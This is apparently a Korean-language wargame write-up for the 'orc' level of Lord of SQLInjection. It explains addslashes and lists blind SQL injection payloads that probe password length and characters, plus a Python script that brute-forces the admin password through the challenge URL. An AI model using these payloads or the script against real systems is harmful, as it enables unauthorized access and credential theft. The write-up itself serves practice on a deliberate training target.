Wargame/Lord of SQLInjection
[LOS] orc
Grini
2019. 7. 4. 23:52
[orc] https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php
쿼리 문이 참일 경우에는 Hello admin을 페이지에 출력해주며, pw 값을 addslashes 함수로 처리한다.
또한 쿼리의 결과 값의 pw와 입력해준 pw 값이 동일해야 한다.
[ addslashes(string $str) ]
작은 따옴표와 큰 따옴표, 역슬래쉬 같은 특정 문자 앞에 역 슬래쉬 문자를 붙여주는 함수
db 값으로 입력 시 에러 방지 위해 사용
addslashes 처리되기 때문에 Blind SQL Injection을 이용해 pw의 값을 직접 알아내야한다.
1. pw 길이 알아내기
?pw=' or length(pw)=n#
2. pw 한 글자씩 알아내기
?pw=' or pw like 'a%
?pw=' or substr(pw, n, 1)='[0 - 9], [a - z]
?pw=' or length(pw)=8%23
pw의 길이는 8글자이다.
위와 같이 브루트포싱해서 알아내면 된다.
python으로 코드를 짜 비밀번호를 찾아보았다.
[ 소스 코드 ]
#!/usr/bin/env python
# -*- coding: utf8 -*-
import requests
headers = {'Cookie': 'PHPSESSID=dkbulkcv0mngs04ordrl47hgd3;'}
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
string = "1234567890abcdefghijklmnopqrstuvwxyz"
pw = ''
len = 1
while True:
data = "?pw=' or length(pw) = " + str(len) + "%23"
r = requests.get(url + data, headers = headers)
if r.text.find('Hello admin') != -1 :
break
len += 1
print "[+] Get Password length : ",len
for i in range(1,len+1):
for j in string:
data = "?pw=' or pw like \'" + pw + j + "%"
r = requests.get(url + data, headers = headers)
if r.text.find('Hello admin') != -1 :
pw = pw + j
print "[*] Finding... : ",pw
break
print "[+] Found Password : ", pw
[ 실행 결과 ]
pw : 095a9852
?pw=095a9852